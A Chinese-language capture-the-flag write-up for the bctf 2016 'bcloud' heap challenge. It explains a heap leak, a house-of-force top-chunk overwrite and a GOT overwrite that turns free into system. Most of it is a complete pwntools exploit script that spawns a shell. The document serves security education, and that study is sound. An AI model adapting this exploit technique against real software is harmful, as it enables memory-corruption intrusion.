bctf 2016 bcloud

Introduction

知识点:

house_of_force

bcloud

./bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

套路和 cookbook 差不多,程序逻辑相对简单。

Leak

0x80487a1 函数处输入 name 程序 malloc 了一块内存,把指针直接放在了 name 局部变量后面,输入与变量大小相 同长度的字符串即可将堆地址一并打印出来。

p.recvline("Input your name:")
p.send("A"*0x40)
p.recvuntil("Hey "+"A"*0x40)

heap_base = u32(p.recv(0x4))-0x8

溢出 top chunk 在 0x804884e 函数处,同样变量之间紧紧相邻导致字符串边界扩展,然后使用 house of force 改写 note array 数组中的值为 got 表上的地址,先将 free 改写成 puts@plt 泄露 libc 地址。

payload = p32(0x4)*2
payload += p8(0)*(0x80-len(payload))
payload += p32(free_got)
payload += p32(atoi_got)
new(int("0xb0", 0x10), payload)

edit(0, p32(puts_plt))

delete(1)

Exploit

后面老套路,写 free 为 system。

exp

#!/usr/bin/env python

from pwn import *

context.log_level = "debug"

elf = "./bcloud"

note_array = 0x804b120
note_len_array = 0x804b0a0
puts_plt = 0x8048520
atoi_got = 0x804b03c
free_got = 0x804b014
atoi_off = 0x2d250
system_off = 0x3ada0

p = process(elf)

def new(size, content):
    p.recvuntil("option--->>\n")
    p.sendline("1")
    p.recvline("Input the length of the note content:")
    p.sendline(str(size))
    p.recvline("Input the content:")
    p.sendline(content)

def edit(idx, content):
    p.recvuntil("option--->>\n")
    p.sendline("3")
    p.recvline("Input the id:")
    p.sendline(str(idx))
    p.recvline("Input the new content:")
    p.send(content)

def delete(idx):
    p.recvuntil("option--->>\n")
    p.sendline("4")
    p.recvuntil("Input the id:\n")
    p.sendline(str(idx))

# leak heap

p.recvline("Input your name:")
p.send("A"*0x40)
p.recvuntil("Hey "+"A"*0x40)

heap_base = u32(p.recv(0x4))-0x8
log.info("heap_base: "+hex(heap_base))

# overwrite topchunk

p.recvuntil("Org:\n")
p.send("A"*0x40)
p.recvuntil("Host:\n")
p.sendline(p32(0xffffffff))

# leak libc

off_size = note_len_array - (heap_base + 0xd8 + 0xc) - (2 * 0x4)
new(off_size, "")

payload = p32(0x4)*2
payload += p8(0)*(0x80-len(payload))
payload += p32(free_got)
payload += p32(atoi_got)
new(int("0xb0", 0x10), payload)

edit(0, p32(puts_plt))

delete(1)

p.recvuntil("Input the id:\n")
libc_base = u32(p.recv(4))-atoi_off
log.info("libc_base: "+hex(libc_base))

# write system

system_addr = libc_base+system_off
edit(0, p32(system_addr))

new(8, "/bin/sh")
delete(1)

p.interactive()